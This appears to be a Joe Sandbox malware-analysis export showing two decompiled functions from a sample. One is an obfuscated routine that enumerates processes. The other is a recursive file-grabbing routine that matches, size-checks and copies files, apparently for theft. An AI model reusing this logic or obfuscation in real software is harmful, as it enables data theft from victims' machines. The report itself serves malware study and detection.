Function 0041714F Relevance: 772.6, APIs: 514, Instructions: 1595processCOMMON

Download Yara Rule

APIs

PathIsSlowW.SHELL32(00000000,00000000), ref: 00417165
RealDriveType.SHELL32(8D6A1CCF,00000000), ref: 00417173
RealDriveType.SHELL32(2573297A,00000000), ref: 0041717B
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041717F
RealDriveType.SHELL32(27F8BF3F,00000000), ref: 00417187
RealDriveType.SHELL32(58B398DE,00000000), ref: 0041718F
RealDriveType.SHELL32(F6B40AE1,00000000), ref: 00417197
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041719B
RealDriveType.SHELL32(792BB767,00000000), ref: 004171A3
RealDriveType.SHELL32(44299019,00000000), ref: 004171AB
PathIsSlowW.SHELL32(00000000,00000000), ref: 004171AF
PathIsSlowW.SHELL32(00000000,00000000), ref: 004171B3
PathIsSlowW.SHELL32(00000000,00000000), ref: 004171B7
RealDriveType.SHELL32(E497778A,00000000), ref: 004171BF
PathIsSlowW.SHELL32(00000000,00000000), ref: 004171C3
RealDriveType.SHELL32(11C8750A,00000000), ref: 004171CB
RealDriveType.SHELL32(159C47FB,00000000), ref: 004171D3
RealDriveType.SHELL32(81911F69,00000000), ref: 004171DB
PathIsSlowW.SHELL32(00000000,00000000), ref: 004171DF
PathIsSlowW.SHELL32(00000000,00000000), ref: 004171E3
RealDriveType.SHELL32(3F30652F,00000000), ref: 004171EB
RealDriveType.SHELL32(8CC4A3D0,00000000), ref: 004171F3
PathIsSlowW.SHELL32(00000000,00000000), ref: 004171F7
RealDriveType.SHELL32(AAEC9424,00000000), ref: 004171FF
RealDriveType.SHELL32(EEED10D9,00000000), ref: 00417207
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041720B
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041720F
PathIsSlowW.SHELL32(00000000,00000000), ref: 00417213
RealDriveType.SHELL32(D01B7FCF,00000000), ref: 0041721B
RealDriveType.SHELL32(2D70939B,00000000), ref: 00417223
PathIsSlowW.SHELL32(00000000,00000000), ref: 00417227
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041722B
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041722F
PathIsSlowW.SHELL32(00000000,00000000), ref: 00417233
PathIsSlowW.SHELL32(00000000,00000000), ref: 00417237
RealDriveType.SHELL32(CFB343B1,00000000), ref: 0041723F
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041724B
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041724F
PathIsSlowW.SHELL32(00000000,00000000), ref: 00417253
RealDriveType.SHELL32(B6328922,00000000), ref: 0041725B
RealDriveType.SHELL32(FB87EAEB,00000000), ref: 00417263
PathIsSlowW.SHELL32(00000000,00000000), ref: 00417267
RealDriveType.SHELL32(068E3C4B,00000000), ref: 0041726F
RealDriveType.SHELL32(37971BDC,00000000), ref: 00417277
RealDriveType.SHELL32(5D4B0247,00000000), ref: 0041727F
RealDriveType.SHELL32(7035C057,00000000), ref: 00417287
RealDriveType.SHELL32(95FDD4AD,00000000), ref: 0041728F
PathIsSlowW.SHELL32(00000000,00000000), ref: 00417293
RealDriveType.SHELL32(373CCB4A,00000000), ref: 0041729B
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041729F
PathIsSlowW.SHELL32(00000000,00000000), ref: 004172A3
PathIsSlowW.SHELL32(00000000,00000000), ref: 004172A7
RealDriveType.SHELL32(F696FAD6,00000000), ref: 004172AF
PathIsSlowW.SHELL32(00000000,00000000), ref: 004172B3
PathIsSlowW.SHELL32(00000000,00000000), ref: 004172B7
PathIsSlowW.SHELL32(00000000,00000000), ref: 004172BB
RealDriveType.SHELL32(FB46F178,00000000), ref: 004172C3
RealDriveType.SHELL32(B22E22AE,00000000), ref: 004172CB
RealDriveType.SHELL32(60B33249,00000000), ref: 004172D3
PathIsSlowW.SHELL32(00000000,00000000), ref: 004172D7
RealDriveType.SHELL32(83C63C55,00000000), ref: 004172DF
RealDriveType.SHELL32(4EC109B1,00000000), ref: 004172E7
PathIsSlowW.SHELL32(00000000,00000000), ref: 004172EB
RealDriveType.SHELL32(A0AD6514,00000000), ref: 004172F3
RealDriveType.SHELL32(481E74BD,00000000), ref: 004172FB
PathIsSlowW.SHELL32(00000000,00000000), ref: 004172FF
PathIsSlowW.SHELL32(00000000,00000000), ref: 00417303
RealDriveType.SHELL32(AC9DD38D,00000000), ref: 0041730B
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041730F
PathIsSlowW.SHELL32(00000000,00000000), ref: 00417313
PathIsSlowW.SHELL32(00000000,00000000), ref: 00417317
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041731B
RealDriveType.SHELL32(AECCFAC7,00000000), ref: 00417323
RealDriveType.SHELL32(397208C0,00000000), ref: 0041732B
RealDriveType.SHELL32(39748FC5,00000000), ref: 00417333
PathIsSlowW.SHELL32(00000000,00000000), ref: 00417337
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041733B
RealDriveType.SHELL32(AF542A5E,00000000), ref: 00417343
RealDriveType.SHELL32(AAD5C2B0,00000000), ref: 0041734B
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041734F
RealDriveType.SHELL32(E16F4623,00000000), ref: 00417357
RealDriveType.SHELL32(82AC8260,00000000), ref: 0041735F
RealDriveType.SHELL32(6A5DE22F,00000000), ref: 00417367
RealDriveType.SHELL32(83A3AB7E,00000000), ref: 0041736F
PathIsSlowW.SHELL32(00000000,00000000), ref: 00417373
RealDriveType.SHELL32(F946E76F,00000000), ref: 0041737B
RealDriveType.SHELL32(72DA2D30,00000000), ref: 00417383
PathIsSlowW.SHELL32(00000000,00000000), ref: 00417387
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041738B
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041738F
RealDriveType.SHELL32(59836A8B,00000000), ref: 00417397
RealDriveType.SHELL32(FE5326BA,00000000), ref: 0041739F
PathIsSlowW.SHELL32(00000000,00000000), ref: 004173A3
PathIsSlowW.SHELL32(00000000,00000000), ref: 004173A7
RealDriveType.SHELL32(83E9DE97,00000000), ref: 004173AF
RealDriveType.SHELL32(E0C19B94,00000000), ref: 004173B7
PathIsSlowW.SHELL32(00000000,00000000), ref: 004173BB
RealDriveType.SHELL32(1F73CF63,00000000), ref: 004173C3
RealDriveType.SHELL32(776DAA5B,00000000), ref: 004173CB
RealDriveType.SHELL32(135F0414,00000000), ref: 004173D3
RealDriveType.SHELL32(9269F1A2,00000000), ref: 004173DB
RealDriveType.SHELL32(E0081753,00000000), ref: 004173E3
PathIsSlowW.SHELL32(00000000,00000000), ref: 004173E7
PathIsSlowW.SHELL32(00000000,00000000), ref: 004173EB
PathIsSlowW.SHELL32(00000000,00000000), ref: 004173EF
RealDriveType.SHELL32(3863271A,00000000), ref: 004173F7
RealDriveType.SHELL32(A1257AD8,00000000), ref: 004173FF
RealDriveType.SHELL32(5D727E22,00000000), ref: 00417407
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0041740C
RealDriveType.SHELL32(284D2357,00000000), ref: 0041741B
PathIsSlowW.SHELL32(00000000,00000000), ref: 00417421
PathIsSlowW.SHELL32(00000000,00000000), ref: 00417427
RealDriveType.SHELL32(8600EE98,00000000), ref: 00417430
PathIsSlowW.SHELL32(00000000,00000000), ref: 00417436
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041743C
PathIsSlowW.SHELL32(00000000,00000000), ref: 00417442
PathIsSlowW.SHELL32(00000000,00000000), ref: 00417448
RealDriveType.SHELL32(BACCD586,00000000), ref: 00417451
PathIsSlowW.SHELL32(00000000,00000000), ref: 00417457
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041745D
PathIsSlowW.SHELL32(00000000,00000000), ref: 00417463
PathIsSlowW.SHELL32(00000000,00000000), ref: 00417469
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041746F
RealDriveType.SHELL32(E627FAB2,00000000), ref: 00417478
RealDriveType.SHELL32(0EDC7801,00000000), ref: 00417481
PathIsSlowW.SHELL32(00000000,00000000), ref: 00417487
RealDriveType.SHELL32(3B8A462A,00000000), ref: 00417490
RealDriveType.SHELL32(AF1CA9FB,00000000), ref: 00417499
RealDriveType.SHELL32(6C545711,00000000), ref: 004174A2
PathIsSlowW.SHELL32(00000000,00000000), ref: 004174A8
PathIsSlowW.SHELL32(00000000,00000000), ref: 004174AE
RealDriveType.SHELL32(4B3E5676,00000000), ref: 004174B7
PathIsSlowW.SHELL32(00000000,00000000), ref: 004174BD
RealDriveType.SHELL32(4E5A7582,00000000), ref: 004174C6
PathIsSlowW.SHELL32(00000000,00000000), ref: 004174CC
RealDriveType.SHELL32(317A733A,00000000), ref: 004174D5
RealDriveType.SHELL32(D7E8314F,00000000), ref: 004174DE
PathIsSlowW.SHELL32(00000000,00000000), ref: 004174E4
PathIsSlowW.SHELL32(00000000,00000000), ref: 004174EA
RealDriveType.SHELL32(C4B35374,00000000), ref: 004174F3
PathIsSlowW.SHELL32(00000000,00000000), ref: 004174F9
RealDriveType.SHELL32(EA68B1F4,00000000), ref: 00417502
PathIsSlowW.SHELL32(00000000,00000000), ref: 00417508
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041750E
PathIsSlowW.SHELL32(00000000,00000000), ref: 00417514
PathIsSlowW.SHELL32(00000000,00000000), ref: 00417524
RealDriveType.SHELL32(F0B1C29B,00000000), ref: 0041752D
PathIsSlowW.SHELL32(00000000,00000000), ref: 00417533
RealDriveType.SHELL32(8851225C,00000000), ref: 0041753C
RealDriveType.SHELL32(BB0BD4C1,00000000), ref: 00417545
RealDriveType.SHELL32(5F4E911D,00000000), ref: 0041754E
PathIsSlowW.SHELL32(00000000,00000000), ref: 00417554
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041755A
PathIsSlowW.SHELL32(00000000,00000000), ref: 00417560
RealDriveType.SHELL32(97FB7794,00000000), ref: 00417569
RealDriveType.SHELL32(14571B9D,00000000), ref: 00417572
PathIsSlowW.SHELL32(00000000,00000000), ref: 00417578
RealDriveType.SHELL32(4138924A,00000000), ref: 00417581
RealDriveType.SHELL32(B4F5255E,00000000), ref: 0041758A
PathIsSlowW.SHELL32(00000000,00000000), ref: 00417590
PathIsSlowW.SHELL32(00000000,00000000), ref: 00417596
RealDriveType.SHELL32(67A65B97,00000000), ref: 0041759F
RealDriveType.SHELL32(7D8812CE,00000000), ref: 004175A8
RealDriveType.SHELL32(84CCF323,00000000), ref: 004175B1
RealDriveType.SHELL32(A17BF24D,00000000), ref: 004175BA
PathIsSlowW.SHELL32(00000000,00000000), ref: 004175C0
RealDriveType.SHELL32(9A57ED7D,00000000), ref: 004175C9
RealDriveType.SHELL32(D7ADA4AA,00000000), ref: 004175D2
PathIsSlowW.SHELL32(00000000,00000000), ref: 004175D8
RealDriveType.SHELL32(1F7EA749,00000000), ref: 004175E1
PathIsSlowW.SHELL32(00000000,00000000), ref: 004175E7
RealDriveType.SHELL32(57F2F097,00000000), ref: 004175F0
PathIsSlowW.SHELL32(00000000,00000000), ref: 004175F6
PathIsSlowW.SHELL32(00000000,00000000), ref: 004175FC
RealDriveType.SHELL32(885FF23E,00000000), ref: 00417605
RealDriveType.SHELL32(D6BDD52C,00000000), ref: 0041760E
RealDriveType.SHELL32(3AB5CDFD,00000000), ref: 00417617
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041761D
RealDriveType.SHELL32(D2C5EB23,00000000), ref: 00417626
RealDriveType.SHELL32(2F115FA0,00000000), ref: 0041762F
RealDriveType.SHELL32(BD80E180,00000000), ref: 00417638
Process32First.KERNEL32(00000000,0000022C), ref: 00417642
RealDriveType.SHELL32(7D18702E,00000000), ref: 00417658
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041765C
RealDriveType.SHELL32(0E87E916,00000000), ref: 00417664
RealDriveType.SHELL32(5FE9ADF9,00000000), ref: 0041766C
RealDriveType.SHELL32(7F3762D8,00000000), ref: 00417674
RealDriveType.SHELL32(62770581,00000000), ref: 0041767C
RealDriveType.SHELL32(78DD9A12,00000000), ref: 00417684
RealDriveType.SHELL32(88A3933E,00000000), ref: 0041768C
PathIsSlowW.SHELL32(00000000,00000000), ref: 00417690
RealDriveType.SHELL32(23BC7E14,00000000), ref: 00417698
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041769C
PathIsSlowW.SHELL32(00000000,00000000), ref: 004176A0
PathIsSlowW.SHELL32(00000000,00000000), ref: 004176A4
RealDriveType.SHELL32(C0804B6B,00000000), ref: 004176AC
RealDriveType.SHELL32(10E79007,00000000), ref: 004176B4
PathIsSlowW.SHELL32(00000000,00000000), ref: 004176B8
PathIsSlowW.SHELL32(00000000,00000000), ref: 004176BC
RealDriveType.SHELL32(B664C6E9,00000000), ref: 004176C4
RealDriveType.SHELL32(FFC36EBF,00000000), ref: 004176CC
RealDriveType.SHELL32(082D4A2A,00000000), ref: 004176D4
RealDriveType.SHELL32(18B52853,00000000), ref: 004176DC
RealDriveType.SHELL32(9FC1E14E,00000000), ref: 004176E4
PathIsSlowW.SHELL32(00000000,00000000), ref: 004176E8
RealDriveType.SHELL32(F316AF3F,00000000), ref: 004176F0
RealDriveType.SHELL32(2CDCFAB3,00000000), ref: 004176F8
PathIsSlowW.SHELL32(00000000,00000000), ref: 004176FC
RealDriveType.SHELL32(A479A5F8,00000000), ref: 00417704
PathIsSlowW.SHELL32(00000000,00000000), ref: 00417708
RealDriveType.SHELL32(AE1BA9B3,00000000), ref: 00417710
RealDriveType.SHELL32(291FD482,00000000), ref: 00417718
RealDriveType.SHELL32(88CC7DAF,00000000), ref: 00417720
RealDriveType.SHELL32(D89B80EA,00000000), ref: 00417728
RealDriveType.SHELL32(B5AEBB63,00000000), ref: 00417730
RealDriveType.SHELL32(84EB99D4,00000000), ref: 00417738
RealDriveType.SHELL32(036E3E64,00000000), ref: 00417740
PathIsSlowW.SHELL32(00000000,00000000), ref: 00417744
RealDriveType.SHELL32(4E4C6AC5,00000000), ref: 00417763
PathIsSlowW.SHELL32(00000000,00000000), ref: 00417769
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041776F
RealDriveType.SHELL32(9626EF72,00000000), ref: 00417778
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041777E
RealDriveType.SHELL32(255686E8,00000000), ref: 00417787
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041778D
PathIsSlowW.SHELL32(00000000,00000000), ref: 00417793
PathIsSlowW.SHELL32(00000000,00000000), ref: 00417799
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041779F
RealDriveType.SHELL32(6C9F8BD0,00000000), ref: 004177A8
RealDriveType.SHELL32(B1BE33C4,00000000), ref: 004177B1
RealDriveType.SHELL32(9DE253F0,00000000), ref: 004177BA
PathIsSlowW.SHELL32(00000000,00000000), ref: 004177C0
PathIsSlowW.SHELL32(00000000,00000000), ref: 004177C6
RealDriveType.SHELL32(6F75C517,00000000), ref: 004177CF
PathIsSlowW.SHELL32(00000000,00000000), ref: 004177D5
RealDriveType.SHELL32(E8C5685C,00000000), ref: 004177DE
RealDriveType.SHELL32(470A3D81,00000000), ref: 004177E7
RealDriveType.SHELL32(DBDF3E4A,00000000), ref: 004177F0
PathIsSlowW.SHELL32(00000000,00000000), ref: 004177F6
RealDriveType.SHELL32(0E48E768,00000000), ref: 004177FF
PathIsSlowW.SHELL32(00000000,00000000), ref: 00417805
RealDriveType.SHELL32(75AB6E87,00000000), ref: 0041780E
RealDriveType.SHELL32(867C03EC,00000000), ref: 00417817
RealDriveType.SHELL32(6FD8A983,00000000), ref: 00417820
PathIsSlowW.SHELL32(00000000,00000000), ref: 00417826
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041782C
PathIsSlowW.SHELL32(00000000,00000000), ref: 00417832
PathIsSlowW.SHELL32(00000000,00000000), ref: 00417838
RealDriveType.SHELL32(2F6910E9,00000000), ref: 00417841
PathIsSlowW.SHELL32(00000000,00000000), ref: 00417847

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: DriveRealType$PathSlow$CreateFirstProcess32SnapshotToolhelp32
String ID:
API String ID: 2343132403-0
Opcode ID: 96ab2f4e43c0efc0e35ec464d10ea4ecd5743512cbf9fa7f212ca8bb2efa6d50
Instruction ID: 28041abe6a376c683ba9b7e2e65c01e9c8f9d1fbe730ce765bbaf34936fc00ad
Opcode Fuzzy Hash: 96ab2f4e43c0efc0e35ec464d10ea4ecd5743512cbf9fa7f212ca8bb2efa6d50
Instruction Fuzzy Hash: 6982ECA0BC83AC79F5B037B24C8BF6F1D58DB80FAAF221416B3596C1C559D46940CDBA

Uniqueness

Uniqueness Score: -1.00%

Function 004068D3 Relevance: 75.6, APIs: 42, Strings: 1, Instructions: 349
memoryfilestringCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E004068D3(WCHAR* __ecx, WCHAR* __edx, WCHAR* _a4, WCHAR* _a8, WCHAR* _a12, WCHAR* _a16, int _a20, int _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr* _a36, intOrPtr _a40, void* _a44) {
				short* _v12;
				signed int _v16;
				WCHAR* _v20;
				void* _v24;
				void* _v28;
				WCHAR* _v32;
				WCHAR* _v36;
				void* _v40;
				int _v44;
				int _v48;
				void* _v52;
				signed int _v56;
				void* _v60;
				void* _v64;
				char* _v68;
				struct _WIN32_FIND_DATAW _v664;
				void* __ebx;
				void* __esi;
				signed int _t117;
				WCHAR* _t122;
				WCHAR* _t123;
				int _t126;
				int _t129;
				intOrPtr _t136;
				int _t137;
				WCHAR* _t140;
				short* _t142;
				void* _t144;
				short* _t152;
				int _t154;
				int _t157;
				int _t161;
				int _t166;
				unsigned int _t170;
				int _t172;
				int _t180;
				signed int _t184;
				void* _t186;
				void* _t187;
				void* _t188;
				void* _t191;
				signed int _t194;
				signed int _t200;
				WCHAR* _t219;
				WCHAR* _t220;
				WCHAR* _t225;
				void* _t234;
				WCHAR* _t235;
				char* _t237;
				int _t241;
				unsigned int _t243;
				void* _t244;
				void* _t246;
				void* _t247;
				void* _t249;

				_v36 = __edx;
				_v32 = __ecx;
				if(_a44 > _a40) {
					_t186 = 2;
					return _t186;
				}
				_t241 = 0;
				_v44 = 0;
				_t187 = StrCpyW(LocalAlloc(0x40, 0x20a), _a4);
				_v52 = _t187;
				_t117 = lstrlenW(_t187);
				_t191 = _t187;
				__eflags =  *((short*)(_t187 + _t117 * 2 - 2)) - 0x5c;
				if( *((short*)(_t187 + _t117 * 2 - 2)) == 0x5c) {
					_push( *0x4234a4);
					_t241 = 1;
					__eflags = 1;
					_v44 = 1;
				} else {
					_push( *0x4231cc);
				}
				E00401C8D(_t187, _t191, 0x104, _t241);
				_t234 = FindFirstFileW(_t187,  &_v664);
				_v40 = _t234;
				__eflags = _t234 - 0xffffffff;
				if(_t234 != 0xffffffff) {
					_t188 = _a44;
					do {
						__eflags = _v664.dwFileAttributes & 0x00000010;
						if((_v664.dwFileAttributes & 0x00000010) == 0) {
							_t122 = StrCpyW(LocalAlloc(0x40, 0x410), _a4);
							__eflags = _t241;
							if(__eflags == 0) {
								_t220 =  *0x423290; // 0x513bb58
								_t122 = E0041AD76(_t122, _t220, __eflags);
							}
							_t219 =  &(_v664.cFileName);
							_t123 = E0041AD76(_t122, _t219, __eflags);
							_t243 = _v664.nFileSizeHigh;
							_t194 = _v664.nFileSizeLow;
							_t235 = _t123;
							__eflags = _a24;
							_v20 = _t235;
							_v12 = _t194;
							if(_a24 == 0) {
								_t46 =  &_v16;
								 *_t46 = _v16 & 0x00000000;
								__eflags =  *_t46;
							} else {
								_t219 =  *0x423310; // 0x513ca70
								_t184 = E0041D123( &(_v664.cFileName), _t219);
								_t194 = _v12;
								_v16 = _t184;
							}
							__eflags = _t235;
							if(_t235 == 0) {
								L50:
								LocalFree(_t235);
								goto L51;
							} else {
								__eflags =  *_a36 - 0x2710;
								if( *_a36 >= 0x2710) {
									goto L50;
								}
								_t136 = _a28;
								_t200 = (_t243 << 0x00000020 | _t194) >> 0xa;
								asm("cdq");
								__eflags = _t243 >> 0xa - _t219;
								if(__eflags > 0) {
									goto L50;
								}
								if(__eflags < 0) {
									L24:
									_t137 = E0041D123( &(_v664.cFileName), _a12);
									__eflags = _t137;
									if(_t137 == 0) {
										L26:
										__eflags = _v16;
										if(__eflags == 0) {
											goto L50;
										}
										L27:
										_t140 = E0041AD76(StrCpyW(LocalAlloc(0x40, 0x618),  *0x4231b0), _v32, __eflags);
										_t225 =  *0x4231b0; // 0x513bc78
										_t142 = E0041AD76(E0041AD76(_t140, _t225, __eflags), _v36, __eflags);
										__eflags = _v16;
										_v12 = _t142;
										if(_v16 == 0) {
											_t246 = 0;
											__eflags = 0;
										} else {
											_t246 = E004143A4(_t235);
										}
										_v28 = LocalAlloc(0x40, 0x618);
										_t144 = LocalAlloc(0x40, 0x410);
										__eflags = _v16;
										_v24 = _t144;
										if(_v16 != 0) {
											_t180 = lstrlenW(_t246);
											__eflags = _t180 - 4;
											if(_t180 > 4) {
												E0041E324(_t246,  &_v24);
											}
										}
										__eflags = _v16;
										_t146 =  !=  ? _v24 : 0;
										__eflags = E004187BE( &(_t235[lstrlenW(_a8)]),  &_v28,  !=  ? _v24 : 0);
										if(__eflags == 0) {
											L49:
											LocalFree(_v24);
											LocalFree(_v28);
											LocalFree(_v12);
											goto L50;
										} else {
											_t152 = E0041AD76(_v12, _v28, __eflags);
											__eflags = _v16;
											_v12 = _t152;
											if(__eflags == 0) {
												L38:
												_a44 = LocalAlloc(0x40, 0x20a);
												_t154 = E0041C37E(_t235,  &_a44, __eflags);
												__eflags = _t154;
												if(_t154 == 0) {
													L48:
													DeleteFileW(_a44);
													LocalFree(_a44);
													goto L49;
												}
												_t157 = CopyFileW(_t235, _a44, 0);
												__eflags = _t157;
												if(_t157 == 0) {
													goto L48;
												}
												_t247 = CreateFileW(_a44, 0x80000000, 1, 0, 4, 0, 0);
												_v48 = WideCharToMultiByte(0xfde9, 0, _v12, 0xffffffff, 0, 0, 0, 0);
												_t237 = LocalAlloc(0x40, 0x30c);
												_t161 = _v48;
												__eflags = _t161;
												if(_t161 == 0) {
													L46:
													LocalFree(_t237);
													CloseHandle(_t247);
													DeleteFileW(_a44);
													LocalFree(_a44);
													L47:
													_t235 = _v20;
													goto L49;
												}
												_t166 = WideCharToMultiByte(0xfde9, 0, _v12, 0xffffffff, _t237, _t161, 0, 0);
												__eflags = _t166;
												if(_t166 == 0) {
													goto L46;
												}
												__eflags = _v16;
												if(_v16 == 0) {
													L44:
													_t210 = _a36;
													_v56 = _v56 & 0x00000000;
													_v68 = _t237;
													_v60 = _a44;
													_v64 = _t247;
													 *_t210 =  *_a36 + 1;
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													goto L47;
												}
												_t170 = GetFileSize(_t247, 0);
												__eflags = _t170 >> 0xa - _a28;
												if(_t170 >> 0xa >= _a28) {
													goto L46;
												}
												goto L44;
											}
											_t172 = E0041D123(_t246, _a12);
											__eflags = _t172;
											if(_t172 == 0) {
												L45:
												LocalFree(_v24);
												LocalFree(_t235);
												LocalFree(_v12);
												LocalFree(_v28);
												LocalFree(_t246);
												L51:
												_t234 = _v40;
												goto L52;
											}
											__eflags = E0041D123(_t246, _a16);
											if(__eflags != 0) {
												goto L45;
											}
											_t235 = StrCpyW(_t235, _t246);
											_v20 = _t235;
											LocalFree(_t246);
											goto L38;
										}
									}
									__eflags = E0041D123( &(_v664.cFileName), _a16);
									if(__eflags == 0) {
										goto L27;
									}
									goto L26;
								}
								__eflags = _t200 - _t136;
								if(_t200 >= _t136) {
									goto L50;
								}
								goto L24;
							}
						}
						__eflags = _v664.cFileName - 0x2e;
						if(_v664.cFileName != 0x2e) {
							__eflags = _a20;
							if(_a20 != 0) {
								_t244 = PathCombineW(LocalAlloc(0x40, 0x410), _a4,  &(_v664.cFileName));
								_t129 = E0041D123( &(_v664.cFileName), _a16);
								__eflags = _t129;
								if(_t129 == 0) {
									_t24 = _t188 + 1; // 0x40704b
									E004068D3(_v32, _v36, _t244, _a8, _a12, _a16, _a20, _a24, _a28, _a32, _a36, _a40, _t24);
									_t249 = _t249 + 0x2c;
								}
								LocalFree(_t244);
							}
						}
						L52:
						_t126 = FindNextFileW(_t234,  &_v664);
						_t241 = _v44;
						__eflags = _t126;
					} while (_t126 != 0);
					LocalFree(_v52);
					FindClose(_t234);
					goto L54;
				} else {
					LocalFree(_t187);
					L54:
					__eflags = 0;
					return 0;
				}
			}

0x004068e2
0x004068e5
0x004068eb
0x004068ef
0x00000000
0x004068ef
0x004068fa
0x004068fe
0x00406911
0x00406914
0x00406917
0x00406922
0x00406924
0x0040692a
0x00406934
0x0040693c
0x0040693c
0x0040693d
0x0040692c
0x0040692c
0x0040692c
0x00406940
0x00406953
0x00406955
0x00406958
0x0040695b
0x00406969
0x0040696c
0x0040696c
0x00406973
0x00406a0e
0x00406a14
0x00406a16
0x00406a18
0x00406a20
0x00406a20
0x00406a25
0x00406a2d
0x00406a32
0x00406a3a
0x00406a40
0x00406a42
0x00406a46
0x00406a49
0x00406a4c
0x00406a67
0x00406a67
0x00406a67
0x00406a4e
0x00406a4e
0x00406a5a
0x00406a5f
0x00406a62
0x00406a62
0x00406a6b
0x00406a6d
0x00406d20
0x00406d21
0x00000000
0x00406a73
0x00406a76
0x00406a7c
0x00000000
0x00000000
0x00406a82
0x00406a85
0x00406a89
0x00406a8d
0x00406a8f
0x00000000
0x00000000
0x00406a95
0x00406a9f
0x00406aa8
0x00406aad
0x00406aaf
0x00406ac3
0x00406ac3
0x00406ac7
0x00000000
0x00000000
0x00406acd
0x00406aec
0x00406af1
0x00406b03
0x00406b08
0x00406b0c
0x00406b0f
0x00406b1c
0x00406b1c
0x00406b11
0x00406b18
0x00406b18
0x00406b32
0x00406b35
0x00406b3b
0x00406b3f
0x00406b42
0x00406b45
0x00406b4b
0x00406b4e
0x00406b55
0x00406b55
0x00406b4e
0x00406b5c
0x00406b5f
0x00406b79
0x00406b7b
0x00406d05
0x00406d08
0x00406d11
0x00406d1a
0x00000000
0x00406b81
0x00406b87
0x00406b8c
0x00406b90
0x00406b93
0x00406bcd
0x00406bdd
0x00406be2
0x00406be7
0x00406be9
0x00406cf3
0x00406cf6
0x00406cff
0x00000000
0x00406cff
0x00406bf5
0x00406bfb
0x00406bfd
0x00000000
0x00000000
0x00406c23
0x00406c38
0x00406c41
0x00406c43
0x00406c46
0x00406c48
0x00406cce
0x00406ccf
0x00406cd6
0x00406cdf
0x00406ce8
0x00406cee
0x00406cee
0x00000000
0x00406cee
0x00406c5f
0x00406c65
0x00406c67
0x00000000
0x00000000
0x00406c69
0x00406c6d
0x00406c80
0x00406c80
0x00406c86
0x00406c8a
0x00406c8d
0x00406c9b
0x00406ca1
0x00406ca3
0x00406ca4
0x00406ca5
0x00406ca6
0x00000000
0x00406ca6
0x00406c72
0x00406c7b
0x00406c7e
0x00000000
0x00000000
0x00000000
0x00406c7e
0x00406b9a
0x00406b9f
0x00406ba1
0x00406ca9
0x00406cac
0x00406cb3
0x00406cbc
0x00406cc5
0x00406d21
0x00406d21
0x00406d27
0x00000000
0x00406d27
0x00406bb1
0x00406bb3
0x00000000
0x00000000
0x00406bc1
0x00406bc4
0x00406bc7
0x00000000
0x00406bc7
0x00406b7b
0x00406abf
0x00406ac1
0x00000000
0x00000000
0x00000000
0x00406ac1
0x00406a97
0x00406a99
0x00000000
0x00000000
0x00000000
0x00406a99
0x00406a6d
0x00406979
0x00406981
0x00406987
0x0040698b
0x004069b8
0x004069ba
0x004069bf
0x004069c1
0x004069c3
0x004069e9
0x004069ee
0x004069ee
0x004069f2
0x004069f2
0x0040698b
0x00406d2a
0x00406d32
0x00406d38
0x00406d3b
0x00406d3b
0x00406d47
0x00406d4e
0x00000000
0x0040695d
0x0040695e
0x00406d54
0x00406d54
0x00000000
0x00406d54

APIs

LocalAlloc.KERNEL32(00000040,0000020A,00000000,?,00000000), ref: 00406901
StrCpyW.SHLWAPI(00000000,00000040), ref: 0040690B
lstrlenW.KERNEL32(00000000), ref: 00406917
FindFirstFileW.KERNEL32(00000000,?), ref: 0040694D
LocalFree.KERNEL32(00000000), ref: 0040695E

Strings

Ef@, xrefs: 004068D3

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: Local$AllocFileFindFirstFreelstrlen
String ID: Ef@
API String ID: 485655356-3429571464
Opcode ID: ceacd24a188526cd65b0777c05571e49001a07d9248ab88070bac891ec288a8a
